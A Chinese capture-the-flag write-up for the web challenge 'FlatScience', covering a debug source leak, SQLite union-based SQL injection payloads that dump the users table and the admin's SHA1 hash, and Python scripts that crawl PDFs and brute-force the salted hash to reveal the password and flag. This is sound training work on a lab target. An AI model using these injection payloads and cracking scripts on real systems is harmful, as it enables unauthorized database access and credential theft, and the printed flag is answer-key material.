攻防世界-web:FlatScience
题目描述
无
题目截图
解题过程
查看robots.txt
存在login.php,admin.php
dirsearch
访问login.php
查看源代码,发现提示信息
将?debug传递url,访问发现源代码
此时我们可以构造参数闭合sql语句
sql注入
sql:admin'--+
提交后发现没有报错,直接跳转到了主页面。
我们审查一下源代码:
发现这段代码是执行成功查询后,将查询结果保存在了cookie的name变量里了。
我们查看一下cookie
似乎并没有什么用啊
我们继续尝试sql注入
sql:admin' order by 1 --+
成功跳转
sql:admin' order by 2 --+
成功跳转
sql:admin' order by 3 --+
发现报错了,可以判断数据表有两列。
尝试union注入,注意用不存在的用户名进行注入,这里用admin1
sql:admin1' union select 1,2 --+
成功跳转,sql执行成功。
我们前面已经判断,sql会将结果存储在cookie的name里。所以我们查看cookie里name值。
结果为+2
也就是说我们前面sql:admin1' union select 1,2 --+ 里的2可以当作显示位。
我们尝试查看数据库名
我们知道我平时注入的一般为mysql数据库,当前数据库为SQLite3,它们的数据库结构肯定有所不同,常用函数也肯定有差异,所以这个时候需要去百度一下SQLite3如何去注入。
查看版本函数:sqlite_version()
我们去查看一下数据库版本
sql:admin1' union select 1,sqlite_version() --+
数据库版本为3.8.10.2
尝试获取表名
存储数据库信息的数据库(mysql的information_schema):sqlite_master
字段:name #表名
字段:sql #表结构,表的字段信息都在里面,初始化数据表的sql语句
sql:admin1' union select 1,name from sqlite_master limit 0,1 --+
数据表:users
sql:admin1' union select 1,sql from sqlite_master limit 0,1 --+
发现无结果,不知道啥原因。
sql:admin1' union select 1,sql from sqlite_master limit 1,1 --+
成功取出结果,具体什么原因,可能是不同数据库不了解。
我们将结果进行url解码。
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
可以看出数据表Users 存在 id name password hint,四个字段,这个里面我们先看看hint字段。
sql:admin1' union select 1,hint from Users limit 0,1 --+
得到:my fav word in my fav paper?!
sql:admin1' union select 1,hint from Users limit 1,1 --+
得到:my love is…?
sql:admin1' union select 1,hint from Users limit 2,1 --+
得到:the password is password
取password
sql:admin1' union select 1,password from Users where name='admin' limit 0,1 --+
得到admin的password的sha1值为:3fab54a50e770d830c0416df817567662a9dc85c
这道题做到这里就不知到怎么继续了...
查看他人的解题,思路大概是这样的,admin账户的密码为一个单词,这个单词就在网站的某个pdf文件里,登录进去就能拿到flag。
所以解题思路来了
解题思路
1.爬取所有的pdf文件
2.提取所有pdf文件的单词
3.将单词进行加盐的sha1加密
4.与数据库中admin的sha1密码进行匹配
5.拿到密码登录admin系统
开始解题
爬取PDF文件
我不会自动爬取所有pdf文件,但是可以半自动爬取。
找出所有存在pdf的页面为:
http://124.126.19.106:30116/1/index.html
http://124.126.19.106:30116/1/2/index.html
http://124.126.19.106:30116/1/3/index.html
http://124.126.19.106:30116/1/3/6/index.html
http://124.126.19.106:30116/1/3/7/index.html
http://124.126.19.106:30116/1/2/4/index.html
http://124.126.19.106:30116/1/2/5/index.html
http://124.126.19.106:30116/1/3/7/8/index.html
python代码:
#coding:utf8
import requests
import re
import time
pdflist = []
urllist = ['http://124.126.19.106:30116/1/index.html','http://124.126.19.106:30116/1/2/index.html','http://124.126.19.106:30116/1/3/index.html','http://124.126.19.106:30116/1/3/6/index.html','http://124.126.19.106:30116/1/3/7/index.html','http://124.126.19.106:30116/1/2/4/index.html','http://124.126.19.106:30116/1/2/5/index.html','http://124.126.19.106:30116/1/3/7/8/index.html']
def gethtml(url):
return requests.get(url).text
def getpdf(part,data):
list = re.findall('href="(.+?)"',data)
for i in list:
if 'pdf' in i:
pdflist.append(part+i)
def downfile(name,url):
data = requests.get(url).content
f = open(name,'wb')
f.write(data)
f.close()
print url,'\t','DOWN OK!'
name = 0
for url in urllist:
part = url.replace('index.html','')
getpdf(part,gethtml(url))
time.sleep(0.3)
for i in pdflist:
downfile(str(name)+'.pdf',i)
time.sleep(0.3)
name+=1
print 'ok'
执行python下载pdf文件
PDF转TXT
接下来就是提取pdf里的文本信息了,我在网上找了一个pdf转txt的工具:pdftotext.exe,这个工具可以通过命令行把pdf转txt文件,由于文件相对较多,可以通过python多线程来执行,当然也可以直接手动转换。
zhuan.py
#coding:utf8
import os
import time
import threading
def thread(cmd):
os.system(cmd)
tsk=[]
for i in range(0,32):
filename = str(i)+'.pdf'
cmd = "pdftotext.exe %s"%(filename)
t = threading.Thread(target=thread,args=(cmd,))
tsk.append(t)
for t in tsk:
t.start()
运行时需要脚本下载好的pdf文件、pdftotext.exe在同一目录下。
提取单词爆破密码
po.py
#coding:utf8
import hashlib
import base64
def tiqu(filename):
f = open(filename,'r')
d = f.read()
f.close()
k = d.split(' ')
n = []
for i in k:
i = i.replace(' ','')
if i!='':
n.append(i)
return n
def sha(word):
hexstr = hashlib.sha1(word+'Salz!').hexdigest()
if '3fab54a50e770d830c0416df817567662a9dc85c' == hexstr:
print '***********',word,'***********'
exit()
for i in range(0,32):
n = tiqu(str(i)+'.txt')
for k in n:
sha(k)
print '--','\t',base64.b64encode(k)
运行时需跟生成的txt文件在同一目录
爆破密码为:ThinJerboa
在admin.php里登录
得到flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
总结
这个题难度挺大,很繁琐,对人员的编程能力有着极大的挑战。遇到这种题,不应该全部都用代码来解决,能手动处理的应该手动处理,有些功能自己不会python的可以到网上找替代工具,再利用简单的python代码同样可以实现牛逼的功能。就是把大问题切割成小问题,然后一步步解决。